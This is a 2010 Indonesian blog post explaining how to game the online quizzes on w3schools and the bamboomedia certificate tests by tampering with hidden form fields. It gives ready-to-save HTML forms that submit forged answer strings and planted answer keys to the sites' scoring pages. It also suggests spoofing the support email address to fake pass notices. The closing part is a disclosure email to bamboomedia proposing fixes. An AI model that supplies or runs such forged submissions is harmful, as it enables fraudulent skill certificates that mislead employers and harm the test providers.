Jumat, 25 Juni 2010

Hacking soal-soal online


author: darkslayer
date: 2 februari 2010, 04:17 WIB


owahemmm... ngantuk banget nich malem2 gini, gak ada rokok lagi.. tp isenk2 nulis ahh.. siapa tahu di jadiin salah satu artikel JS.. Lumayan buat balas jasa ke bang p4njul, orcha, meonkzt, adwisatya, dan cancer yang selalu siap menjawab semua pertanyaan-pertanyaan bodoh q..

Pertama-tama bagi temen-temen yang suka surfing internet pasti mengetahui mengenai uji kemampuan online baik yang tidak memberikan apa-apa, sampai kepada quiz berhadiah, sertifikat gratis, dan lain-lain. Test uji kemampuan online ini aq bedakan menjadi 2 bagian, yaitu yang berskala kecil dan berskala besar. Yang berskala kecil contohnya: Ujian kuliah online yang hanya di tujukan untuk beberapa orang saja dan hanya di ujikan pada saat itu juga (tidak rutin dan usernya sedikit). Pada skala kecil ini, kita jangan terlalu berharap karena System web nya di garap secara simpel, dan biasanya tidak ada database online yang akan di bandingkan dengan jawaban tadi. Maklum karena database nya berada di kepala/otak sang DOSEN, jadi pengecekan soalnya menggunakan cara manual. Sedangkan yang dimaksud dengan skala besar adalah test uji kemampuan yang memiliki user banyak dan penggunaan soalnya akan diambil dari database Bank soal yang diambil secara random. Karena tidak dimungkinkan terjadinya pengecekan jawaban secara manual, maka di bangunlah suatu system web agar pencocokan pertanyaan dengan jawaban dapat di lakukan dengan cepat dan mudah. Contohnya uji kemampuan online pada w3schools dan bamboomedia
Bagaimana cara mendapatkan hasil sempurna dan cepat pada uji kemampuan online??
CAranya cuma 1. PELAJARI SCRIPT nya..!!

Di bawah ini merupakan contoh saja, betapa mudahnya meraih nilai sempurna pada test uji kemampuan online.
====================================

A. Test kemampuan di w3schools.com
w3schools adalah salah satu tempat terfavorit bagi para pemula untuk mempelajari web programming. Setelah selesai belajar, w3schools menganjurkan kita agar mengecek sejauh mana kemampuan kita dalam mempelajari web programming tersebut. Katakanlah di sini adalah HTML yang link quiz nya ada di http://www.w3schools.com/html/html_quiz.asp .Setelah menjawab semua pertanyaan kita akan mengetahui hasil dari soal2 yang sudah kita jawab beserta jangka waktu berapa lama kita mengerjakannya. Berapapun nilai kita, kita tidak akan mendapatkan apa-apa (sertifikat/hadiah). Hal ini karena quiz tersebut hanyalah di sediakan sebagai alat uji kemampuan kita saja. Sedangkan kalau ingin mendapatkan sertifikat, kita diharuskan membayar $75. mahal banget

hadahhh.. kebanyakan koment nich.. langsung 2 the point aja,, daripada bosen baca nya.
POC w3schools:
1. tidak ada batasan waktu (maklum cz g ada hadiahnya)
2. Tampilannya menggunakan HTML, sedangkan engine nya menggunakan ASP
3. Jumlah soalnya ada 20
4. Semua soal di ulang-ulang terus dengan urutan jawaban yang acak (kadang yang benar ada di opsi A, kadang yang benar ada di opsi B)
5. penghitungan waktu nya menggunakan ASP

praktek:
Pada uji kemampuan di w3schools kita akan memilih uji soal HTML sbg contoh pembahasan disini. Pertama-tama kita akan masuk pada http://www.w3schools.com/html/html_quiz.asp ,lalu disitu kita pilih "START THE HTML QUIZ" yang url nya ada pada http://w3schools.com/quiztest/quiztest.asp?qtest=HTML

<!--http://www.w3schools.com/html/html_quiz.asp-->
<a target="_top" href="/quiztest/quiztest.asp?qtest=HTML">Start
the HTML Quiz</a></p>


Pada w3school ini ternyata tidak ada batasan waktu untuk menjawab soal-soalnya. Setelah itu kita akan di hadapkan pada soal pertama. Yang berisi
1.What does HTML stand for?

a. Hyper Text Markup Language

b. Hyperlinks and Text Markup Language
c. Home Tool Markup Language
jika kita coba berulang-ulang, dari sini kita bisa mengetahui bahwa seluruh soal yang diujikan adalah sama, urutan nomer soalnya juga sama, yang beda adalah letak opsional jawaban yang benar. Pada soal pertama ini marilah kita lihat source codenya. Yang penting ada pada baris ini.


<!--SOAL 1--> <form name="quizform" action='quiztest.asp?qtest=HTML' method='post'> <input type="hidden" name="starttime" value="1/29/2010 11:07:00 PM"> <input type="hidden" name="answers" value="00000000000000000000" size="20"> <input type="hidden" name="qnumber" value="1" size="20"> <table class='front' width='100%' border='0' cellspacing="0" cellpadding="1"> <tr> <th class='front' align='left'>&nbsp;HTML QUIZ</th> <th class='front' align='right'>http://www.w3schools.com&nbsp;</th> </tr> <tr> <td class='front' colspan='2'> <br /><table><tr><td valign='top'><b>&nbsp;1. </td><td valign='top'><b>What does HTML stand for?<b></td></tr></table><br /><table border='0'><tr><td valign='top'><input type='radio' name='quiz' value='3' /></td><td>Hyper Text Markup Language</td></tr> <tr><td valign='top'><input type='radio' name='quiz' value='2' /></td><td>Hyperlinks and Text Markup Language</td></tr> <tr><td valign='top'><input type='radio' name='quiz' value='1' /></td><td>Home Tool Markup Language</td></tr> <tr><td>&nbsp;</td><td>&nbsp;</td></tr> </table> <br /> &nbsp;<input type='submit' value=' Next '>

Karena menggunakan ASP, maka kita jangan berharap untuk mengetahui script yang di gunakan dan bagaimana pengolahannya, karena asp merupakan server side. Tapi setidak nya ada beberapa informasi di situ yang bisa kita lihat, seperti: 4 baris script di awal. Yang berisi input hidden. input yang bernilai hidden inilah yang menjadi obyek pertama yang harus kita curigai. WHY? ya, klo nggak rahasia nggak mungkin di hidden lah... dan disini kita mendapatkan sebuah name starttime dengan value waktu pertama kali kita membuka soal ujiannya yaitu tanggal 1/29/2010 pukul 11:07:00 PM. Mengapa kok jam nya tidak sama dengan jam di browser kita?? yah.. karena timer nya di buat dengan menggunakan ASP, jadi waktu yang digunakan adalah jam pada server w3schools yang berada di USA. Coba googling antara perbedaan ASP dengan javascript atau perbedaan antara client side dengan server side.
pada hidden yang kedua terdapat name answer dan value 00000000000000000000 yang saat ini kita tidak tahu ini apa'an. Lalu yang ketiga terdapat name qnumber dengan value 1. Yang juga nggak tahu itu apaan sebelum menjelajahi semuanya.


Setelah itu terdapat method POST yang menjadi obyek perhatian kedua kita. karena kita pasti berpikir: "
mau di kemanakan jawaban pertanyaan kita??"
Lalu pada obyek ke tiga yang perlu di perhatikan tentunya adalah input radio nya. Karena disitulah terletak value yang harus kita perhatikan. Dan pada kasus ini terlihat sedikit keanehan yaitu: "kenapa urutan opsi pilihan ganda nya nggak urut seperti nilai value nya?" .Sampai disini kita belum menemukan jawabannya karena info yang di dapat masih kurang. Jadi kita lanjut pada soal kedua. dan kita coba lihat source nya. (tentunya kita pilih opsi A (hyper text Markup Language) sbg jawaban yang benar, lalu kita klik NEXT)



lalu kita akan di direct pada soal ke dua. Kita lihat source nya.

<!--SOAL 2--> <form name="quizform" action='quiztest.asp?qtest=HTML' method='post'> <input type="hidden" name="starttime" value="1/29/2010 11:08:07 PM"> <input type="hidden" name="answers" value="30000000000000000000" size="20"> <input type="hidden" name="qnumber" value="2" size="20"> <table class='front' width='100%' border='0' cellspacing="0" cellpadding="1"> <tr> <th class='front' align='left'>&nbsp;HTML QUIZ</th> <th class='front' align='right'>http://www.w3schools.com&nbsp;</th> </tr> <tr> <td class='front' colspan='2'> <br /><table><tr><td valign='top'><b>&nbsp;2. </td><td valign='top'><b>Who is making the Web standards?<b></td></tr></table><br /><table border='0'><tr><td valign='top'><input type='radio' name='quiz' value='2' /></td><td>Microsoft</td></tr> <tr><td valign='top'><input type='radio' name='quiz' value='3' /></td><td>Mozilla</td></tr> <tr><td valign='top'><input type='radio' name='quiz' value='1' /></td><td>The World Wide Web Consortium</td></tr> <tr><td>&nbsp;</td><td>&nbsp;</td></tr> </table> <br /> &nbsp;<input type='submit' value=' Next '>

Jika kita lihat2 terdapat beberapa perubahan:
1. starttime bertambah menjadi 11:08:07 PM (indikator waktu yg dibutuhkan untuk menjawab, jd g usah di bahas lg)
2. answers berubah menjadi 30000000000000000000 (belum tahu)
3. qnumber berubah menjadi 2 (belum tahu)

alu kita tentunya pilih opsi C yaitu the world wide web consortium sbg jawaban yg benar. Dan kita beranjak ke soal ke 3 dan kita mendapatkan perubahan pada:
1. answers berubah menjadi 31000000000000000000 (belum tahu)
2. qnumber berubah menjadi 3 (ternyata inilah yang menentukan nomer soalnya, jd g usah di bahas lg)


Lalu singkatnya semuanya kita jawab dan sampai pada soal ke 20. Dan yang mengalami perubahan adalah:
1. answers berubah menjadi 31121222312322332140
kita masih belum tahu juga sampai saat ini. Lalu krn pertanyaannya adalah "What is the correct HTML for inserting a background image?" maka aq jawab "<body background="background.gif">" dan klik next. Dan dengan tidak seberapa kaget, aq mendapatkan nilai 15 dengan jumlah waktu 4 menit 27 detik. Maklum aq nggak hafal semua tag-tag dari HTML.
Tapi yang menjadi pertanyaan adalah bagaimana server bisa menilai bahwa jawaban yg aq masukan bernilai 15??
Dan setelah diselidiki ternyata hal ini berada pada value input name="answers" tadi.


Darimana kita tahu???

coba kita lihat ulang script soal pertama tadi. Meskipun urutan jawabannya adalah acak, tetapi value untuk jawaban Hyper text markup language selalu bernilai 3, dan pada soal ke dua untuk jawaban the world wide web consortium selalu bernilai 1. Karena jawaban ini paten benar maka value 30000000000000000000 dan 31000000000000000000 aq jadikan sebagai landasan yang benar. Lalu bagaimana server tahu bahwa value 31121222314323122140 yang aq dapat kan ketika akan menjawab soal ke 20 bernilai 15?? Ternyata setelah aq cek pada opsi "check your answers" pada soal ke 12,13,14,15 dan 16 aq salah menjawabnya. Setelah menjawab soal ke 20, kita akan menemukan source ini:

<form action="result.asp" method="post">

<input type="hidden" name="points" value="15">
<input type="hidden" name="percentPoints" value="75">

<input type="hidden" name="qtest" value="HTML">
<input type="hidden" name="timespent" value="4:27">

<input type="hidden" name="answers" value="31121222314323122142">


Lalu aq pun mencoba menebak-nebak valuenya, yaitu mengedit pada karakter ke 12,13,14,15 dan 16 karena jawaban q yang salah ada pada karakter nomor ini. Tentunya dalam menebak ini, kita diharuskan mengganti link relatif nya menjadi absolute. Yaitu dengan merubah action="result.asp" menjadi action="http://w3schools.com/quiztest/result.asp". agar lebih mudah silahkan save script ini dengan nama coba.html

<html><head></head><body><p>jangan lupa isi value nya..!!</p> <form action="http://www.w3schools.com/quiztest/result.asp" method="post"> <input type="hidden" name="points" value="15"> <input type="hidden" name="percentPoints" value="75"> <input type="hidden" name="qtest" value="HTML"> <input type="hidden" name="timespent" value="4:27"> <input type="hidden" name="answers" value="isi_value_terserah_anda"> <input type="submit" value="cek jawaban"> </body></html>

cara nebaknya silahkan isi value yang anda mau lalu tekan cek jawaban:
11111111111111111111 >> jawaban 1,4,6,7,8,9,11,12,14,15,16,17,19,20 salah
21121222212212222122 >> jawaban 1,9,11,12,15,16,19 salah
31121222313312332132 >> jawaban 11,12,19 salah
31121222314412332142 >> semua jawaban benar

Singkatnya temen2 pasti sudah tahu bagaimana cara saya mendapatkan nilai 100% dari semua soal yang di ujikan di w3schools dalam waktu beberapa menit baik HTML, XHTML, CSS, JavaScript, XML, ASP, PHP, dan SQL Quiz. Cara mendapatkan jawabannya adalah dengan merubah value="html" pada file coba.html diatas menjadi css, sql ,php dst. Misalnya untuk CSS adalah 32312122123143134324 dan untuk SQL adalah 13124231312133421134 ,padahal sampai saat aq menulis inipun, aq belum pernah melihat satupun soal-soal yang diujikan selain pada quiz HTML. (nggak percaya gpp, cz g ada untungnya jg)


jadi untuk mendapatkan nilai 100% pada soal manapun (dalam kasus ini adalah CSS) adalah sebagai berikut:

1. akses alamat ini http://w3schools.com/quiztest/quiztest.asp?qtest=HTML
2. Save source nya dengan nama success.asp
3. lalu cari bagian ini:

<form name="quizform" .............bla..bla..bla..........
<input type='submit' value=' Next '>

lalu replace dengan ini:

<!--cari sendiri perbedaannya--> <form name="quizform" action='http://www.w3schools.com/quiztest/quiztest.asp?qtest=CSS' method='post'> <input type="hidden" name="starttime" value="1/29/2011 10:52:48 PM"> <input type="hidden" name="answers" value="32312122123143134320" size="20"> <input type="hidden" name="qnumber" value="20" size="20"> <table class='front' width='100%' border='0' cellspacing="0" cellpadding="1"> <tr> <th class='front' align='left'>&nbsp;HTML QUIZ</th> <th class='front' align='right'>http://www.w3schools.com&nbsp;</th> </tr> <tr> <td class='front' colspan='2'> <br /><table><tr><td valign='top'><b>&nbsp;1. </td><td valign='top'><b>What does HTML stand for?<b></td></tr></table><br /><table border='0'><tr><td valign='top'><input type='radio' name='quiz' checked="checked" value='4' /></td><td>Hyper Text Markup Language</td></tr> <tr><td valign='top'><input type='radio' name='quiz' value='1' /></td><td>Home Tool Markup Language</td></tr> <tr><td valign='top'><input type='radio' name='quiz' value='2' /></td><td>Hyperlinks and Text Markup Language</td></tr> <tr><td>&nbsp;</td><td>&nbsp;</td></tr> </table> <br /> &nbsp;<input type='submit' value=' Next '>

hmmpphh.. memang sepertinya hal ini tidak lah berguna selain untuk pamer kepada temen-temen dekat anda. WHY? karena uji kemampuan dari w3schools ini memang tidak menjanjikan apa-apa (yang ada sertifikatnya harus bayar $75 dulu). Tapi saya tetap menulis ini hanya sebagai contoh tambahan pembelajaran saja dari hacking soal-soal online yang ada di internet. Maklum saja, karena w3schools merupakan salah satu tempat yang paling terkenal sbg tempat pembelajaran web programing, jadi sangat layak untuk di coba. (kasarannya klo w3schools aja gampang di analisa, kenapa yg lain tidak..??) Dan artikel yang sebenarnya yg ingin saya share ada pada postingan saya yang di bawah ini yaitu mengenai hacking bamboomedia
=========================================

B. Uji keahlian di Bambooedia
Tidak seperti w3schools, kali ini pihak bamboomedia yang mempunyai kantor di BALI memberikan kita ketertarikan khusus dalam mempelajari ilmu IT. Karena disitu terdapat sebuah hadiah menarik berupa sertifikat online jika kita berhasil mendapatkan nilai di minimal 80 untuk setiap mata pelajaran yang diujikan. Mata pelajaran tersebut salah satunya adalah dasar internet, ASP, mysql, photoshop, windows server 2003 dan lain-lain. Jika anda mengalami kesulitan, bisa saja mendownload tutorial nya yang sudah di sediakan link nya oleh pihak bamboomedia.

Situs ini pertama kali aq dapat dari postingan temanku yaitu eliash pada forum nimbuzzing.org
disini. Singkat saja, kita langsung ke topik permasalahan, yaitu bagaimana cara mendapatkan nilai 100 dengan cepat untuk semua mata pelajaran. Dan tentunya SEMUA sertifikat gratis nya

Pertama-tama kita masuk ke
http://bamboomedia.net/ujikeahlian.php untuk mengisi informasi-informasi yang diminta. terakhir, kita akan di minta untuk memilih jenis soal yang akan di ujikan. Saya pun memilih "dasar internet" sebagai contoh disini. Sebelum menekan tombol SUBMIT, tentunya kita harus mengetahui source page nya terlebih dahulu untuk memeriksa akan dikirim kemana form input kita.

<form action="ujikeahlian2.php" method="post" name="form1" onSubmit="MM_validateForm('nama','','R','emailaddr','','RisEmail',
'handphone','','RisNum','alamatkirim','','R','nama2','','R');return document.MM_returnValue">

dari situ dapat di lihat bahwa form input tadi akan di kirim pada ujikeahlian2.php. Sekarang kita klik "Ikuti Uji Keahlian"

Kita akan masuk pada ujikeahlian2.php .Disitu kita akan disuguhi 20 pertanyaan mengenai dasar internet yang mengharuskan kita untuk menjawab dalam waktu 10 menit. Jika soal belum selesai dikerjakan dalam 10 menit, maka kita akan di direct ke kuisbejo3.php dan akan di direct lagi menuju ujikeahlian4.php

<!--ini adalah script dari countdown.js--> if (_currentSeconds <= 0) { alert("waktu anda habis"); document.forms[1].submit(); //cek input jawabannya.. document.forms[1].action="kuisbejo3.php"; //document.location = "kuisbejo3.php"; return;

tapi yg itu g penting kok, krn kita g bakalan kehabisan waktu dlm menjawab soalnya. why?? krn countdown timer nya menggunakan javascript yang notabene sudah kita kenal sebagai server side, tidak seperti w3school yg menggunakan server side, shingga lebih mudah untuk mengelabuinya. Yupz, disable aja javascript pada browser kita. Caranya pada mozilla pilih tools>>option>>content>>hapus centang enable javascript>>OK

maka countdown timer pun akan mati. Dan kita bisa menggunakan google untuk menjawab semua pertanyaan itu atau bahkan menelepon guru private kita untuk menjawab pertanyaannya, Maklum nggak ada cookies jadi masih stateless. Tapi menurut pengalaman q dalam menjawab melalui google pun kita akan mengalami kesusahan untuk mendapatkan nilai di atas 80. Jadi tinggalkan cara ini dan kita lanjut ke cara yg lain. (timer tidak dihitung sbg dasar penilaian)

Mari kita lihat script ujikeahlian2.php yg tadi dan anda akan menemukan sebuah input hidden.. Yupz klo nggak rahasia nggak mungkin di hidden.

<input name="jml_soal" type="hidden" id="jml_soal" value="20">

<input name="peserta" type="hidden" id="peserta" value="Rudi Rahardjo">

<input name="tanggal" type="hidden" id="tanggal" value="25012010">

<input type="hidden" name="email" id="email" value="cehhms@hotmail.com">
<input type="hidden" name="pekerjaan" id="pekerjaan" value="Mahasiswa">

<input type="hidden" name="handphone" id="handphone" value="081788996545">
<input type="hidden" name="alamatkirim" id="alamatkirim" value="Jl. Sukolilo 11">

<input type="hidden" name="propinsi" id="propinsi" value="JAWA TIMUR">
<input type="hidden" name="kota" id="kota" value="SURABAYA">

<input type="hidden" name="modul" id="modul" value="Dasar Internet">

masih ingatkan ttg form input ujikeahlian.php tadi di kirim kemana?? ea... form input ujikeahlian.php d kirim ke ujikeahlian2.php yang salah satu gunanya adalah untuk memenuhi form-form hidden tersebut. Jadi singkatnya kita tidak lagi membutuhkan ujikeahlian.php krn kita bs langsung mengganti informasi yang ada tersebut dengan cara mengedit source ujikeahlian2.php.

Lalu sekarang kita ke bagian yg paling penting, yaitu pada source soal. Karena kita akan berpikiran "akan di olah seperti apakah input yg sudah kita masukkan tadi dan akan di kirim kemana??"
Dengan sedikit tercengang, kita pasti kaget melihat bahwa ternyata ujikeahlian2.php tidak lah semata2 memuat soal2 saja, tetapi juga memuat JAWABANNYA juga. (aq ambil soal ke 1)

<font class='normalTxt3'><strong>1. </strong> <strong>Toko Buku Online yang paling terkenal di internet :</strong><br/> <input type="radio" name="soal1" value="Bhinneka.com">Bhinneka.com<br/> <input type="radio" name="soal1" value="Amazon.com">Amazon.com<br/> <input type="radio" name="soal1" value="UEFA.com">UEFA.com<br/> <input type="radio" name="soal1" value="Yahoo.com">Yahoo.com<br/> <input type="radio" name="soal1" value="Zencart.com">Zencart.com<br><br> <input type="hidden" name="kunci1" value="Amazon.com"></font><br>

lihat name kunci1 ..disitulah kunci jawaban nomor 1. Begitu pula pada nomor2 berikutnya jawabannya ada pada kunci2 , kunci3 dst.

Jadi kita bisa melakukan sedikit kecurangan. eh maaf, bukan kecurangan tapi memanfaatkan kemudahan yang di berikan. WHY? cz kita tadi kan cuma minta soalnya, tp pihak penyedia soal malah memberikan soal beserta jawabannya, jadi mengapa kita tidak menggunakan ctrl+F (find) saja untuk menjawab semua soal itu.. kasaranya pihak penyedia soal sangat berbaik hati


Dari situ teman2 mungkin sudah bisa mendapatkan nilai 100 dengan cepat. Tapi target kita nggak itu aja. Target kita lebih besar yaitu mendapatkan nilai sempurna untuk 25 jenis soal yang di sediakan. Bisa di bayangkan jika kita hanya mengandalkan ctrl+u dan ctrl+f pada mozilla saja maka kita akan sedikit mengalami kelelahan. karena kita harus berulang2 memasukkan CV pada ujikeahlian.php dan mencari kata kunci pada source tiap jenis soal.

Maka singkat nya, mari kita gunakan sebuah keunggulan dari stateless ini. yaitu sifat dari web yang tidak mengenali siapa dan darimana dia mengakses link tsb. Dan langsung kita ubah scriptnya sehingga menjadi:

<html><head></head><body><form name="form1" method="post" action="http://www.bamboomedia.net/ujikeahlian3.php"> <p> <span class="normalTxt2"> <input name="jml_soal" type="hidden" id="jml_soal" value="20"> <!--ubah informasi di bawah ini dan sesuaikan dengan biodata anda--> <input name="peserta" type="hidden" id="peserta" value="Rudi Rahardjo"> <input name="tanggal" type="hidden" id="tanggal" value="25012010"> <input type="hidden" name="email" id="email" value="cehhms@hotmail.com"> <input type="hidden" name="pekerjaan" id="pekerjaan" value="Mahasiswa"> <input type="hidden" name="handphone" id="handphone" value="081788996545"> <input type="hidden" name="alamatkirim" id="alamatkirim" value="Jl. Sukolilo 11"> <!--rubah informasi yg di bawah ini dengan melihat opsi-opsi yang ada pada ujikeahlian.php--> <input type="hidden" name="propinsi" id="propinsi" value="JAWA TIMUR"> <input type="hidden" name="kota" id="kota" value="SURABAYA"> <!--tentukan jenis soal yg akan anda jawab--> <input type="hidden" name="modul" id="modul" value="Dasar Internet"> </span></p> <input type="radio" checked="checked" name="soal1" value="Amazon.com">Amazon.com<br/> <input type="hidden" name="kunci1" value="Amazon.com"><br> <input type="radio" checked="checked" name="soal2" value="Amazon.com">Amazon.com<br/> <input type="hidden" name="kunci2" value="Amazon.com"><br> <input type="radio" checked="checked" name="soal3" value="Amazon.com">Amazon.com<br/> <input type="hidden" name="kunci3" value="Amazon.com"><br> <input type="radio" checked="checked" name="soal4" value="Amazon.com">Amazon.com<br/> <input type="hidden" name="kunci4" value="Amazon.com"><br> <input type="radio" checked="checked" name="soal5" value="Amazon.com">Amazon.com<br/> <input type="hidden" name="kunci5" value="Amazon.com"><br> <input type="radio" checked="checked" name="soal6" value="Amazon.com">Amazon.com<br/> <input type="hidden" name="kunci6" value="Amazon.com"><br> <input type="radio" checked="checked" name="soal7" value="Amazon.com">Amazon.com<br/> <input type="hidden" name="kunci7" value="Amazon.com"><br> <input type="radio" checked="checked" name="soal8" value="Amazon.com">Amazon.com<br/> <input type="hidden" name="kunci8" value="Amazon.com"><br> <input type="radio" checked="checked" name="soal9" value="Amazon.com">Amazon.com<br/> <input type="hidden" name="kunci9" value="Amazon.com"><br> <input type="radio" checked="checked" name="soal10" value="Amazon.com">Amazon.com<br/> <input type="hidden" name="kunci10" value="Amazon.com"><br> <input type="radio" checked="checked" name="soal11" value="Amazon.com">Amazon.com<br/> <input type="hidden" name="kunci11" value="Amazon.com"><br> <input type="radio" checked="checked" name="soal12" value="Amazon.com">Amazon.com<br/> <input type="hidden" name="kunci12" value="Amazon.com"><br> <input type="radio" checked="checked" name="soal13" value="Amazon.com">Amazon.com<br/> <input type="hidden" name="kunci13" value="Amazon.com"><br> <input type="radio" checked="checked" name="soal14" value="Amazon.com">Amazon.com<br/> <input type="hidden" name="kunci14" value="Amazon.com"><br> <input type="radio" checked="checked" name="soal15" value="Amazon.com">Amazon.com<br/> <input type="hidden" name="kunci15" value="Amazon.com"><br> <input type="radio" checked="checked" name="soal16" value="Amazon.com">Amazon.com<br/> <input type="hidden" name="kunci16" value="Amazon.com"><br> <input type="radio" checked="checked" name="soal17" value="Amazon.com">Amazon.com<br/> <input type="hidden" name="kunci17" value="Amazon.com"><br> <input type="radio" checked="checked" name="soal18" value="Amazon.com">Amazon.com<br/> <input type="hidden" name="kunci18" value="Amazon.com"><br> <input type="radio" checked="checked" name="soal19" value="Amazon.com">Amazon.com<br/> <input type="hidden" name="kunci19" value="Amazon.com"><br> <input type="radio" checked="checked" name="soal20" value="Amazon.com">Amazon.com<br/> <input type="hidden" name="kunci20" value="Amazon.com"><br> <input type="submit" name="Submit" value="Kirim Jawaban"></body><html>

Langkah-langkah yang harus di kerjakan:
1. edit biodata anda (pasti tau kan mana yg harus di edit)
2. edit propinsi dan kota (lihat referensinya pada ujikeahlian.php)
3. edit jenis soal yang akan di ujikan (lihat referensi di ujikeahlian.php . Ingat nulisnya harus lengkap sesuai dengan referensi yg ada)
4. save dengan nama jasakom.php
5. buka file jasakom.php dengan browser lalu tekan OK



jika ingin ganti soal, maka silahkan edit pada bagian jenis soal yg tadi (mis: rubah "dasar internet" menjadi "SQL server 2005")


Akhir kata, sebetulnya bisa saja kita gunakan sedikit logika script php agar sekali tekan bisa 25 langsung terjawab tanpa mengulang2 lagi. Tapi menurutku inilah yang paling mudah di mengerti karena aq cuma memotong-motong script dari ujikeahlian2.php. Maklum artikel nya untuk newbie only sich.. Yang terpenting di sini kita tahu bahwa dengan adanya sifat stateless kita bisa merubah2 konten web nya asalkan informasi yang akan kita kirim adalah sama (yaitu pada form method="post")

klo males silahkan ke sini http://holestreet.0fees.net/bamboo.php
UPDATE: Maaf, untuk sekarang dan selamanya script pada url di atas telah saya hilangkan di karenakan pihak admin bamboomedia meminta untuk menghapus halaman tersebut.

WHY? karena setelah saya mencoba menemukan automisasi ini saya pun segera melaporkan pada pihak bamboomedia

berikut kronologi postingan ini

1. saya mendapat info mengenai situs bamboomedia dari NFI

2. saya pun mencoba mengevaluasi kemampuan saya secara jujur, dan saya gagal

3. saya mencoba cara curang, dengan mengingat-ingat kembali konteks yang di katakan mas s'to@jasakom.com yaitu kata "stateless"

4. saya pun mencoba dan berhasil

isi email saya
Informasi yang masuk dari Hasil Uji Keahlian Brain-O-Meter :

Nama
:
Eko Satrio Pujiantoro
Alamat Kirim Referensi Keahlian
:
Jl. Wahidin Raya No.1 Gedung djuanda 1 Lt.11
Kota
:
JAKARTA
Propinsi
:
JAKARTA
Email
:
plonknimbuzz@gmail.com
Handphone
:
0857xxxxxxxxx
Pekerjaan
:
PNS Departemen Keuangan
Uji Kemampuan
:
Pintar Web (Dreamwever)
Hasil Tes (Skor )
:
100
=================================================

SERTFIKASI BRAINOMETER
Konsumen Bamboomedia yang terhormat,
Selamat! Anda sudah berhasil mengikuti Uji Keahlian (Brain-O-Meter) dengan nilai >= 80 sehingga Anda bisa mendapatkan Surat Referensi Keahlian.
Berikut ini kami kirimkan Surat Referensi Keahlian dalam Format PDF. Silahkan diperiksa apakah sudah sesuai nama dan modul ujian yang diikuti. Silahkan dicetak (print), semoga dapat melengkapi CV Anda dalam interview & mendapatkan pekerjaan yang Anda dambakan.
(Apabila Anda menginginkan dalam format cetak (hardcopy), yang langsung dikirimkan ke alamat Anda, silahkan reply email ini, harga administrasi per hardcopy Rp 50.000,-)
Terimakasih atas kepercayaan Anda pada Kami.
Regard
Charis
Technical Support Bamboomedia

5. saya menanyakan kapan pengiriman sertifikatnya

isi email saya
Mohon maaf, saya cuma mau menanyakan saja. Kapan saya dapat menerima sertifikat dalm bentuk PDF nya. Lalu saya juga ingin menanyakan apakah untuk mendapatkan sertifikat ini, saya perlu mengeluarkan biaya. Karena saya juga ingin menyebarluaskan website ini melalui blog pribadi saya. Demikian terima kasih.

6. pihak support bamboomedia pun menjawab melalui bapak charis

isi balasan dari bamboomedia
Yth
Terima kasih telah menggunakan ujian brainometer

1. Sertifikat dikirim maksimal 1*7 hari dari masa uji coba.

2. Apabila lebih dari 7 hari tidak diterima cek folder spam dan validasi aktif email anda.
3. Email yang tidak terkirim bisa di coba kembali dengan alamat email yang lain.
4. Kesalahan penulisan email tidak mendapatkan balasan, silahkan ulangi ujian anda kembali.
5. Template sertifikat bersifat paten dan tidak bisa dirubah, ditambah atau dikurangi kembali.
6. Uji coba dengan alamat email yang sama dengan nama berbeda , kami anggap flooding dan tidak mendapatkan balasan.

Terima kasih dengan atensinya


Regard

Charis

7. 4 hari kemudian saya pun menerima sertifikat saya

ini contoh screenshot salah satu sertifikat saya

8. karena berhasil, saya pun membuat topik di jasakom mengenai hal ini. Dan alhamdulillah di pampang di halaman muka :)

9. saya melaporkan kepada pihak support bamboomedia mengenai hal ini

isi email saya
Kepada Yth admin /support bamboomedia

Selamat sore


Saya sangat senang sekali mendapatkan reply yang sangat cooperatif

dari pihak bamboomedia pada saat saya menanyakan kapan pengiriman
sertifikat dilakukan. Kini saya pun harus membalas jasa kepada
bamboomedia atas kerendahan hati nya dalam membalas setiap email yang
ada.

2-3 minggu yang lalu saya mendapatkan informasi mengenai bamboomedia

pada situs nimbuzzing.org . Lalu saya pun tertarik mengikutinya.
Hasilnya saya hanya bisa menjawab dasar internet dengan nilai 85, saya
pun mengulanginya lagi sampai mndpat nilai 100. Dan akhirnya saya pun
terpikirkan "bagaimana saya mendapatkan nilai 100 di setiap soal,
padahal tidak ada satupun yang saya tahu mengenai soal-soal yg selain
dasar internet"

Akhirnya saya pun melakukan analisa asal2an terhadap script soal

bamboomedia. Singkat nya Proof of concept nya begini:
1. Keaslian Sertifikat dipertanyakan
Ketika di print pixel nya tidak memuaskan, akan tetapi hal ini dapat
dimaklumi karena semakin besar pixel berarti semakin banyak pula
bandwitch yang harus di keluarkan. Padahal ini adalah sebuah layanan
gratis (kasarannya Gratis kok milih2 mas..)

tetapi yang saya bahas bukan itu, tetapi setidak nya ada nomornya.

Dari 9 sertifikat yang saya baca ternyata cuma berbeda judulnya saja.
Hack: editing dengan photoshop. Mungkin akan terdengar lucu. tapi
tentunya hal ini akan merugikan pihak bamboo secara tidak langsung
karena dapat saja saya mengklaim kepada perusahaan bahwa saya telah
berhasil lulus dari semua soal bamboomedia dengan nilai 100 secara
keseluruhan, bagaimana cara nya??
Saya tinggal mencopy paste email dari support bamboomedia yang
menyatakan bahwa saya lulus dengan nilai 100 untuk pelajaran ini..ini
dan ini dengan menggunakan anonymizer.name sebagai fasilitas untuk
spoofing nama email support@bamboomedia.net

Solusi: Dengan mencantumkan nomor kelulusan pada sertifikat yang ada ,

sehingga ketika di cek maka akan lebih bernilai formal daripada tanpa
nomor. Hal ini mungkin akan menarik teman2 yang lain untuk belajar
kepada bamboomedia. Maklum hanya bamboomedia saja yang saya lihat dari
google yang menawarkan sebuah terobosan insentif baru berupa
sertifikat gratis.

2. Countdown timer

Countdown timer di buat dengan javascript. Ini merupakan suatu
kelemahan tersendiri ketika mempercayakan segala sesuatunya kepada
customer 100% yaitu dengan javascript.

Hack: kita tinggal mendisable javascript pada browser saya. Lalu

berhentilah cuntdown timer nya. Selanjutnya saya tinggal googling
untuk mendapatkan jawabannya.
Solusi: Gunakan asp, krn server side. Contoh nya dapat di lihat pada
quiz w3schools.com yang menggunakan asp sehingga timer nya akan di
dasarkan pada jam server. bUkan jam client/browser

3. Stateless

Mungkin akan terdengar risih jika harus menggunakan statefull dengan
session/cookies. tpi hal ini mungkin akan lebih menarik dan lebih aman
jika kita menggunakan cookies sehingga pihak bamboomedia dapat
mengklaim bahwa terdapat 1000 orang lebih yang telah mendaftarkan diri
untuk mengikuti soal online di bamboomedia. Tentunya ini prestise
tersendiri bai pihak bamboomdia.

Solusi: jika ingin mengikuti soal online, peserta di haruskan

registrasi. Tai tentunya dengan ada nya system ini . Bamboomedia akan
